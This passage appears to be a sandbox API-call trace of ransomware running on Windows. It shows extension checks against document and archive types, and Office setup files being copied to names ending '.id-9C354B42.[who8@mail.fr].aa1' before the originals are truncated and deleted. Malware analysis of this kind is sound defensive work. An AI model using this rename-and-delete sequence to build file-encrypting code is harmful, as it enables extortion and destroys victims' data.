lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0208.369] lstrlenW (lpString=".dbf") returned 4 [0208.369] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0208.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0208.369] lstrlenW (lpString=".1cd") returned 4 [0208.369] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0208.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0208.369] lstrlenW (lpString=".jpg") returned 4 [0208.369] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0208.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0208.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0208.370] lstrlenW (lpString=".doc") returned 4 [0208.370] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0208.370] lstrlenW (lpString=".docx") returned 5 [0208.370] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0208.370] lstrlenW (lpString=".pdf") returned 4 [0208.370] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0208.370] lstrlenW (lpString=".xls") returned 4 [0208.370] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0208.370] lstrlenW (lpString=".xlsx") returned 5 [0208.370] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0208.370] lstrlenW (lpString=".ppt") returned 4 [0208.370] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0208.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0208.370] lstrlenW (lpString=".zip") returned 4 [0208.370] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0208.370] lstrlenW (lpString=".rar") returned 4 [0208.370] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0208.371] lstrlenW (lpString=".bz2") returned 4 [0208.371] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0208.371] lstrlenW (lpString=".7z") returned 3 [0208.371] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0208.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0208.371] lstrlenW (lpString=".dbf") returned 4 [0208.371] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0208.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0208.371] lstrlenW (lpString=".1cd") returned 4 [0208.371] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0208.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0208.371] lstrlenW (lpString=".jpg") returned 4 [0208.371] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0208.371] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0208.371] lstrlenW (lpString="OfficeMUI.XML") returned 13 [0208.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0208.912] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=5557) returned 1 [0208.912] CloseHandle (hObject=0x17c) returned 1 [0208.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0208.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0208.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0208.912] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.912] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0208.913] GetLastError () returned 0x0 [0208.913] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0208.914] WriteFile (in: hFile=0x200, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0209.187] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.187] WriteFile (in: hFile=0x200, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0209.188] SetEndOfFile (hFile=0x200) returned 1 [0209.211] CloseHandle (hObject=0x200) returned 1 [0209.224] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.224] SetEndOfFile (hFile=0x17c) returned 1 [0209.225] CloseHandle (hObject=0x17c) returned 1 [0209.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0209.226] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0209.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0209.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0209.226] lstrlenW (lpString=".doc") returned 4 [0209.226] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.226] lstrlenW (lpString=".docx") returned 5 [0209.226] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0209.226] lstrlenW (lpString=".pdf") returned 4 [0209.226] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.226] lstrlenW (lpString=".xls") returned 4 [0209.226] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.226] lstrlenW (lpString=".xlsx") returned 5 [0209.226] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0209.226] lstrlenW (lpString=".ppt") returned 4 [0209.226] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0209.226] lstrlenW (lpString=".zip") returned 4 [0209.227] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.227] lstrlenW (lpString=".rar") returned 4 [0209.227] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.227] lstrlenW (lpString=".bz2") returned 4 [0209.227] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.227] lstrlenW (lpString=".7z") returned 3 [0209.227] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0209.227] lstrlenW (lpString=".dbf") returned 4 [0209.227] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0209.227] lstrlenW (lpString=".1cd") returned 4 [0209.227] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0209.227] lstrlenW (lpString=".jpg") returned 4 [0209.227] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0209.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0209.227] lstrlenW (lpString=".doc") returned 4 [0209.227] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.227] lstrlenW (lpString=".docx") returned 5 [0209.228] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0209.228] lstrlenW (lpString=".pdf") returned 4 [0209.228] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.228] lstrlenW (lpString=".xls") returned 4 [0209.228] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.228] lstrlenW (lpString=".xlsx") returned 5 [0209.228] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0209.228] lstrlenW (lpString=".ppt") returned 4 [0209.228] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0209.228] lstrlenW (lpString=".zip") returned 4 [0209.228] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.228] lstrlenW (lpString=".rar") returned 4 [0209.228] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.228] lstrlenW (lpString=".bz2") returned 4 [0209.228] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.228] lstrlenW (lpString=".7z") returned 3 [0209.228] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0209.228] lstrlenW (lpString=".dbf") returned 4 [0209.228] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0209.228] lstrlenW (lpString=".1cd") returned 4 [0209.229] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0209.229] lstrlenW (lpString=".jpg") returned 4 [0209.229] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.229] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0209.229] lstrlenW (lpString="SETUP.XML") returned 9 [0209.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0209.855] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2362) returned 1 [0209.855] CloseHandle (hObject=0x164) returned 1 [0209.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0209.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0209.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0209.855] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.855] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0209.856] GetLastError () returned 0x0 [0209.856] ReadFile (in: hFile=0x164, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x93a, lpOverlapped=0x0) returned 1 [0209.858] WriteFile (in: hFile=0x204, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x940, lpOverlapped=0x0) returned 1 [0209.859] ReadFile (in: hFile=0x164, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.859] WriteFile (in: hFile=0x204, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0209.859] SetEndOfFile (hFile=0x204) returned 1 [0209.859] CloseHandle (hObject=0x204) returned 1 [0209.865] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.865] SetEndOfFile (hFile=0x164) returned 1 [0209.865] CloseHandle (hObject=0x164) returned 1 [0209.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0209.866] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1 [0209.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0209.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0209.866] lstrlenW (lpString=".doc") returned 4 [0209.866] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.866] lstrlenW (lpString=".docx") returned 5 [0209.866] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0209.866] lstrlenW (lpString=".pdf") returned 4 [0209.866] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.866] lstrlenW (lpString=".xls") returned 4 [0209.866] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.866] lstrlenW (lpString=".xlsx") returned 5 [0209.866] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0209.866] lstrlenW (lpString=".ppt") returned 4 [0209.866] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0209.866] lstrlenW (lpString=".zip") returned 4 [0209.866] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.866] lstrlenW (lpString=".rar") returned 4 [0209.866] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.866] lstrlenW (lpString=".bz2") returned 4 [0209.866] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.866] lstrlenW (lpString=".7z") returned 3 [0209.866] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0209.867] lstrlenW (lpString=".dbf") returned 4 [0209.867] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0209.867] lstrlenW (lpString=".1cd") returned 4 [0209.867] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0209.867] lstrlenW (lpString=".jpg") returned 4 [0209.867] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0209.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0209.867] lstrlenW (lpString=".doc") returned 4 [0209.867] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.867] lstrlenW (lpString=".docx") returned 5 [0209.867] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0209.867] lstrlenW (lpString=".pdf") returned 4 [0209.867] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.867] lstrlenW (lpString=".xls") returned 4 [0209.867] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.867] lstrlenW (lpString=".xlsx") returned 5 [0209.867] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0209.867] lstrlenW (lpString=".ppt") returned 4 [0209.867] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0209.867] lstrlenW (lpString=".zip") returned 4 [0209.867] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.867] lstrlenW (lpString=".rar") returned 4 [0209.867] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.867] lstrlenW (lpString=".bz2") returned 4 [0209.867] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.867] lstrlenW (lpString=".7z") returned 3 [0209.867] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0209.868] lstrlenW (lpString=".dbf") returned 4 [0209.868] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0209.868] lstrlenW (lpString=".1cd") returned 4 [0209.868] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0209.868] lstrlenW (lpString=".jpg") returned 4 [0209.868] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.868] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0209.868] lstrlenW (lpString="SETUP.XML") returned 9 [0209.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0209.869] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=16683) returned 1 [0209.869] CloseHandle (hObject=0x164) returned 1 [0209.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0209.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0209.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0209.869] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.869] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0209.873] GetLastError () returned 0x0 [0209.873] ReadFile (in: hFile=0x164, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x412b, lpOverlapped=0x0) returned 1 [0209.899] WriteFile (in: hFile=0x204, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0209.900] ReadFile (in: hFile=0x164, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.900] WriteFile (in: hFile=0x204, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0209.900] SetEndOfFile (hFile=0x204) returned 1 [0209.901] CloseHandle (hObject=0x204) returned 1 [0209.905] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.905] SetEndOfFile (hFile=0x164) returned 1 [0209.906] CloseHandle (hObject=0x164) returned 1 [0209.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0209.907] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1 [0209.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0209.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0209.907] lstrlenW (lpString=".doc") returned 4 [0209.907] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.907] lstrlenW (lpString=".docx") returned 5 [0209.907] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0209.907] lstrlenW (lpString=".pdf") returned 4 [0209.907] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.907] lstrlenW 